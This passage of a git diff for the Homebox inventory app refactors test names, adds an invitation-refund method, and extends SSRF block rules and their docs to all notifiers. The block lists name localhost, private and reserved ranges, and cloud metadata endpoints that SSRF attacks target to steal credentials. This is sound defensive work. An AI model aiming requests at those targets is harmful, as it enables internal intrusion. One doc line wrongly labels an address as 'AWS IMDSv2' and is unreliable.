EntityTypeID: a.itemType,+ Name: testChildName, EntityTypeID: a.itemType,ParentID: parent.ID,LocationID: b.basement.ID,})@@ -237,12 +243,12 @@ func TestEntityLocation_SyncChildLocationsClearsOverrides(t *testing.T) {f := newLocationFixture(t, "loc-sync-toggle")parent, err := tRepos.Entities.Create(ctx, f.gid, EntityCreate{- Name: "Parent", EntityTypeID: f.itemType, ParentID: f.attic.ID,+ Name: testParentName, EntityTypeID: f.itemType, ParentID: f.attic.ID,})require.NoError(t, err)child, err := tRepos.Entities.Create(ctx, f.gid, EntityCreate{- Name: "Child", EntityTypeID: f.itemType,+ Name: testChildName, EntityTypeID: f.itemType,ParentID: parent.ID,LocationID: f.basement.ID,})@@ -252,7 +258,7 @@ func TestEntityLocation_SyncChildLocationsClearsOverrides(t *testing.T) {// Turn the toggle on for the parent._, err = tRepos.Entities.UpdateByGroup(ctx, f.gid, EntityUpdate{- ID: parent.ID, Name: "Parent", Quantity: 1, ParentID: f.attic.ID,+ ID: parent.ID, Name: testParentName, Quantity: 1, ParentID: f.attic.ID,SyncChildEntityLocations: true,})require.NoError(t, err)@@ -272,7 +278,7 @@ func TestEntityLocation_QueryByLocationFindsOverriddenChild(t *testing.T) {f := newLocationFixture(t, "loc-query-filter")parent, err := tRepos.Entities.Create(ctx, f.gid, EntityCreate{- Name: "Parent", EntityTypeID: f.itemType, ParentID: f.attic.ID,+ Name: testParentName, EntityTypeID: f.itemType, ParentID: f.attic.ID,})require.NoError(t, err)@@ -367,7 +373,7 @@ func TestEntityLocation_RoundTripPreservesPlacement(t *testing.T) {f := newLocationFixture(t, "loc-roundtrip")parent, err := tRepos.Entities.Create(ctx, f.gid, EntityCreate{- Name: "Parent", EntityTypeID: f.itemType, ParentID: f.attic.ID,+ Name: testParentName, EntityTypeID: f.itemType, ParentID: f.attic.ID,})require.NoError(t, err)@@ -411,7 +417,7 @@ func TestEntityLocation_RoundTripPreservesPlacement(t *testing.T) {// The inheriting one still tracks the parent after its round trip._, err = tRepos.Entities.UpdateByGroup(ctx, f.gid, EntityUpdate{- ID: parent.ID, Name: "Parent", Quantity: 1, ParentID: f.basement.ID,+ ID: parent.ID, Name: testParentName, Quantity: 1, ParentID: f.basement.ID,})require.NoError(t, err)reread, err := tRepos.Entities.GetOneByGroup(ctx, f.gid, inheriting.ID)@@ -427,12 +433,12 @@ func TestEntityLocation_DeletingLocationFallsBackToInheritance(t *testing.T) {f := newLocationFixture(t, "loc-delete-target")parent, err := tRepos.Entities.Create(ctx, f.gid, EntityCreate{- Name: "Parent", EntityTypeID: f.itemType, ParentID: f.attic.ID,+ Name: testParentName, EntityTypeID: f.itemType, ParentID: f.attic.ID,})require.NoError(t, err)child, err := tRepos.Entities.Create(ctx, f.gid, EntityCreate{- Name: "Child", EntityTypeID: f.itemType,+ Name: testChildName, EntityTypeID: f.itemType,ParentID: parent.ID, LocationID: f.basement.ID,})require.NoError(t, err)diff --git a/backend/internal/data/repo/repo_group.go b/backend/internal/data/repo/repo_group.goindex 0ae9f480..f96e0c0b 100644--- a/backend/internal/data/repo/repo_group.go+++ b/backend/internal/data/repo/repo_group.go@@ -493,6 +493,12 @@ func (r *GroupRepository) InvitationDecrement(ctx context.Context, id uuid.UUID)return nil}+// InvitationRefund returns a use claimed with InvitationDecrement, for when the+// registration it was reserved for fails afterwards.+func (r *GroupRepository) InvitationRefund(ctx context.Context, id uuid.UUID) error {+ return r.db.GroupInvitationToken.UpdateOneID(id).AddUses(1).Exec(ctx)+}+func (r *GroupRepository) InvitationAccept(ctx context.Context, token []byte, userID uuid.UUID) (Group, error) {tx, err := r.db.Tx(ctx)if err != nil {diff --git a/backend/internal/sys/config/conf_notifier.go b/backend/internal/sys/config/conf_notifier.goindex b303a656..5ae6e508 100644--- a/backend/internal/sys/config/conf_notifier.go+++ b/backend/internal/sys/config/conf_notifier.go@@ -1,19 +1,26 @@package configtype NotifierConf struct {- // AllowNets will allow specific networks through for generic notifiers.+ // The options below apply to every notifier whose URL carries a user-supplied+ // destination host (generic://, gotify://, ntfy://, smtp://, ...), not just+ // generic webhooks. See validate.ValidateNotifierURL.++ // AllowNets will allow specific networks through for notifiers.// If this is filled, only these networks will be allowed through.AllowNets []string `yaml:"allow_nets"`- // BlockNets will block specific networks from generic notifiers.- // If this is filled, these networks will be blocked from generic notifiers.+ // BlockNets will block specific networks from notifiers.+ // If this is filled, these networks will be blocked from notifiers.BlockNets []string `yaml:"block_nets"`- // BlockLocalhost will prevent generic notifiers from sending to localhost.- BlockLocalhost bool `yaml:"block_localhost" conf:"default:false"`- // BlockLocalNets will prevent generic notifiers from sending to local networks. (RFC1918)+ // BlockLocalhost will prevent notifiers from sending to localhost. On by+ // default: loopback is the Homebox host/container itself (IPv6 ::1 was+ // already blocked via BlockBogonNets), so this is rarely a real notifier.+ BlockLocalhost bool `yaml:"block_localhost" conf:"default:true"`+ // BlockLocalNets will prevent notifiers from sending to local networks. (RFC1918)+ // Off by default so self-hosted notifiers on the LAN (gotify, ntfy, ...) keep working.BlockLocalNets bool `yaml:"block_local_nets" conf:"default:false"`- // BlockBogonNets will prevent generic notifiers from sending to bogon networks. (Reserved IPs)+ // BlockBogonNets will prevent notifiers from sending to bogon networks. (Reserved IPs)BlockBogonNets bool `yaml:"block_bogon_nets" conf:"default:true"`- // BlockCloudMetadata will prevent generic notifiers from sending to known cloud metadata IPs.+ // BlockCloudMetadata will prevent notifiers from sending to known cloud metadata IPs.BlockCloudMetadata bool `yaml:"block_cloud_metadata" conf:"default:true"`// Dns64Nets lists the IPv6 prefixes used for DNS64/NAT64 translation (RFC 6052).// IPv6 addresses inside these prefixes carry an embedded IPv4 address, which isdiff --git a/docs/src/content/docs/en/advanced/auth-rate-limits.mdx b/docs/src/content/docs/en/advanced/auth-rate-limits.mdxindex b1581862..c152cc85 100644--- a/docs/src/content/docs/en/advanced/auth-rate-limits.mdx+++ b/docs/src/content/docs/en/advanced/auth-rate-limits.mdx@@ -36,4 +36,9 @@ If all these attempts are made within 1 minute, the following table shows the ra| 10 | Locked 160 seconds || 11+ | Locked 5 minutes |-As you can see, the rate limit increases exponentially as the number of failed attempts increases until it reaches the maximum limit.\ No newline at end of file+As you can see, the rate limit increases exponentially as the number of failed attempts increases until it reaches the maximum limit.+## Registration+Account registration (`POST /api/v1/users/register`) has its own fixed limit of 5 requests per minute per IP address.+Unlike the login limiter, it counts every attempt, including successful ones, because each registration hashes a+password and creates a new user and collection. Setting `HBOX_AUTH_RATE_LIMIT_ENABLED` to `false` disables this+limit as well.diff --git a/docs/src/content/docs/en/quick-start/configure/index.mdx b/docs/src/content/docs/en/quick-start/configure/index.mdxindex 144037a9..9bad4df4 100644--- a/docs/src/content/docs/en/quick-start/configure/index.mdx+++ b/docs/src/content/docs/en/quick-start/configure/index.mdx@@ -93,12 +93,12 @@ import {Tabs, TabItem} from "@astrojs/starlight/components";| HBOX_THUMBNAIL_HEIGHT | 500 | height for generated thumbnails in pixels || HBOX_BARCODE_TOKEN_BARCODESPIDER | | API token for BarcodeSpider.com service used for barcode product lookups. If not set, BarcodeSpider lookups will not be performed. || HBOX_BARCODE_OPEN_FOOD_FACTS_CONTACT | | Optional contact value included in the User-Agent for Open Food Facts, Open Beauty Facts, and Open Products Facts barcode lookups. This is sent to third-party APIs, so avoid secrets or personal PII and prefer a role/contact alias. |-| HBOX_NOTIFIER_ALLOW_NETS | | semicolon-separated list of CIDR networks to allow for generic notifiers (e.g., `192.168.1.0/24;10.0.0.0/8`). If set, only these networks will be allowed and all block rules are bypassed. |-| HBOX_NOTIFIER_BLOCK_NETS | | semicolon-separated list of CIDR networks to block for generic notifiers (e.g., `192.168.1.0/24;10.0.0.0/8`). Provides fine-grained blocking without enabling blanket rules. |-| HBOX_NOTIFIER_BLOCK_LOCALHOST | false | block generic notifiers from sending to localhost/loopback addresses (127.0.0.1, ::1) |-| HBOX_NOTIFIER_BLOCK_LOCAL_NETS | false | block generic notifiers from sending to RFC1918 private networks (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) |-| HBOX_NOTIFIER_BLOCK_BOGON_NETS | true | block generic notifiers from sending to bogon/reserved networks (link-local, multicast, broadcast, etc.) |-| HBOX_NOTIFIER_BLOCK_CLOUD_METADATA | true | block generic notifiers from sending to cloud metadata endpoints (169.254.169.254, fd00:ec2::254) |+| HBOX_NOTIFIER_ALLOW_NETS | | semicolon-separated list of CIDR networks to allow for notifiers (e.g., `192.168.1.0/24;10.0.0.0/8`). If set, only these networks will be allowed and all block rules are bypassed. |+| HBOX_NOTIFIER_BLOCK_NETS | | semicolon-separated list of CIDR networks to block for notifiers (e.g., `192.168.1.0/24;10.0.0.0/8`). Provides fine-grained blocking without enabling blanket rules. |+| HBOX_NOTIFIER_BLOCK_LOCALHOST | true | block notifiers from sending to localhost/loopback addresses (127.0.0.1, ::1) |+| HBOX_NOTIFIER_BLOCK_LOCAL_NETS | false | block notifiers from sending to RFC1918 private networks (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) |+| HBOX_NOTIFIER_BLOCK_BOGON_NETS | true | block notifiers from sending to bogon/reserved networks (link-local, multicast, broadcast, etc.) |+| HBOX_NOTIFIER_BLOCK_CLOUD_METADATA | true | block notifiers from sending to cloud metadata endpoints (169.254.169.254, fd00:ec2::254) || HBOX_NOTIFIER_DNS64_NETS | 64:ff9b::/96;64:ff9b:1::/48 | semicolon-separated list of DNS64/NAT64 translation prefixes (RFC 6052). IPv6 addresses in these prefixes have their embedded IPv4 address extracted and checked against the allow/block rules, preventing DNS64-based SSRF bypasses. Override if your NAT64 deployment uses a custom prefix. || HBOX_OTEL_ENABLED | false | enable OpenTelemetry tracing. Standard OTEL_* env vars are also honored by the SDK in addition to these `HBOX_OTEL_*` options. || HBOX_OTEL_SERVICE_NAME | homebox | service name reported to the telemetry backend |diff --git a/docs/src/content/docs/en/user-guide/notifiers.mdx b/docs/src/content/docs/en/user-guide/notifiers.mdxindex 65e1ff48..4cfcd612 100644--- a/docs/src/content/docs/en/user-guide/notifiers.mdx+++ b/docs/src/content/docs/en/user-guide/notifiers.mdx@@ -95,17 +95,17 @@ generic+https://your-webhook-endpoint.com/pathgeneric+http://your-webhook-endpoint.com/path```-## Security Considerations for Generic Webhooks+## Network Security for Notifiers-Generic webhooks allow Homebox to make HTTP requests to arbitrary URLs. To prevent Server-Side Request Forgery (SSRF) attacks and protect your internal network, Homebox provides several configuration options to restrict where generic notifiers can send requests.+Many notifier URLs let the user choose the server Homebox connects to: generic webhooks (`generic://`, `generic+https://`, `generic+http://`) and self-hosted services such as Gotify, ntfy, Matrix, Mattermost, MQTT and SMTP. Any user who can add a notifier can make Homebox send requests to that host. To prevent Server-Side Request Forgery (SSRF) attacks and protect your internal network, Homebox provides several configuration options to restrict where notifiers can send requests.:::caution[Security Notice]-Generic webhooks (`generic://`, `generic+https://`, `generic+http://`) can be used to make requests to any accessible network endpoint. Configure the security settings below to protect your internal infrastructure.+Notifiers can be used to make requests to any network endpoint Homebox can reach. Configure the security settings below to protect your internal infrastructure, especially if registration is open or the instance is exposed to the internet.:::### Configuration Options-All security options apply only to generic webhook notifiers. Other notification services (Discord, Slack, etc.) are not affected by these settings.+These options apply to every notifier whose URL contains a destination host, including redirects and the address actually connected to. Services that always connect to a fixed vendor endpoint (Discord, Slack, Telegram, Pushover, etc.) are not affected. Notifier URLs using a scheme Homebox does not recognize are rejected.#### Allow List (Recommended)@@ -119,19 +119,19 @@ HBOX_NOTIFIER_ALLOW_NETS="192.168.1.0/24;10.0.50.0/24"#### Block Localhost-Prevents generic notifiers from making requests to localhost/loopback addresses (127.0.0.1, ::1).+Prevents notifiers from making requests to localhost/loopback addresses (127.0.0.1, ::1).```bashHBOX_NOTIFIER_BLOCK_LOCALHOST=true```-**Default:** `false`+**Default:** `true` (enabled by default since v0.27.0)-**Use Case:** Prevent access to services running on the same host as Homebox (e.g., admin panels, development servers).+**Use Case:** Prevent access to services running on the same host as Homebox (e.g., admin panels, development servers). If you run a notification service such as ntfy or Gotify on the same machine as Homebox and connect to it via `localhost`, either set this to `false` or point the notifier at the machine's LAN address instead.#### Block Local Networks (RFC1918)-Prevents generic notifiers from making requests to private network ranges:+Prevents notifiers from making requests to private network ranges:- 10.0.0.0/8- 172.16.0.0/12- 192.168.0.0/16@@ -140,13 +140,13 @@ Prevents generic notifiers from making requests to private network ranges:HBOX_NOTIFIER_BLOCK_LOCAL_NETS=true```-**Default:** `false`+**Default:** `false` (so self-hosted notification services on your LAN keep working)**Use Case:** Block access to all internal network services to prevent SSRF attacks against internal infrastructure.#### Block Bogon Networks-Prevents generic notifiers from making requests to reserved/special-use IP ranges including:+Prevents notifiers from making requests to reserved/special-use IP ranges including:- Link-local addresses (169.254.0.0/16)- Multicast addresses- Broadcast addresses@@ -163,7 +163,7 @@ HBOX_NOTIFIER_BLOCK_BOGON_NETS=true#### Block Cloud Metadata Endpoints-Prevents generic notifiers from accessing cloud provider metadata endpoints:+Prevents notifiers from accessing cloud provider metadata endpoints:- 169.254.169.254 (AWS, Azure, GCP, Oracle Cloud)- 169.254.169.253 (AWS IMDSv2)- fd00:ec2::254 (AWS IPv6)